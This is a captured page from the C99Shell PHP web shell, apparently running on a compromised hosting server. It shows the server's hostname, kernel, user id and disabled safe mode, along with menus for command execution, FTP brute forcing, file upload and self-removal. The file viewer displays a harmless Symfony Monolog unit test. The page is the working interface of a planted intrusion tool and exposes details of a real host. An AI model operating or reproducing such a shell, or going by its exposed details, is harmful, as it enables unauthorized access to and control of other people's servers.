!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/opt/alt/php54/usr/share/pear/test/MonologBridge/Symfony/Bridge/Monolog/Tests/Processor/   drwxr-xr-x
Free 294 GB of 429.69 GB (68.42%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     WebProcessorTest.php (2.23 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Bridge\Monolog\Tests\Processor;

use 
Monolog\Logger;
use 
Symfony\Bridge\Monolog\Processor\WebProcessor;
use 
Symfony\Component\HttpFoundation\Request;

class 
WebProcessorTest extends \PHPUnit_Framework_TestCase
{
    public function 
testUsesRequestServerData()
    {
        
$server = array(
            
'REQUEST_URI'    => 'A',
            
'REMOTE_ADDR'    => 'B',
            
'REQUEST_METHOD' => 'C',
            
'SERVER_NAME'    => 'D',
            
'HTTP_REFERER'   => 'E'
        
);

        
$request = new Request();
        
$request->server->replace($server);

        
$event $this->getMockBuilder('Symfony\Component\HttpKernel\Event\GetResponseEvent')
            ->
disableOriginalConstructor()
            ->
getMock();
        
$event->expects($this->any())
            ->
method('isMasterRequest')
            ->
will($this->returnValue(true));
        
$event->expects($this->any())
            ->
method('getRequest')
            ->
will($this->returnValue($request));

        
$processor = new WebProcessor();
        
$processor->onKernelRequest($event);
        
$record $processor($this->getRecord());

        
$this->assertEquals($server['REQUEST_URI'], $record['extra']['url']);
        
$this->assertEquals($server['REMOTE_ADDR'], $record['extra']['ip']);
        
$this->assertEquals($server['REQUEST_METHOD'], $record['extra']['http_method']);
        
$this->assertEquals($server['SERVER_NAME'], $record['extra']['server']);
        
$this->assertEquals($server['HTTP_REFERER'], $record['extra']['referrer']);
    }

    
/**
     * @param integer $level
     * @param string  $message
     *
     * @return array Record
     */
    
protected function getRecord($level Logger::WARNING$message 'test')
    {
        return array(
            
'message' => $message,
            
'context' => array(),
            
'level' => $level,
            
'level_name' => Logger::getLevelName($level),
            
'channel' => 'test',
            
'datetime' => new \DateTime(),
            
'extra' => array(),
        );
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0043 ]--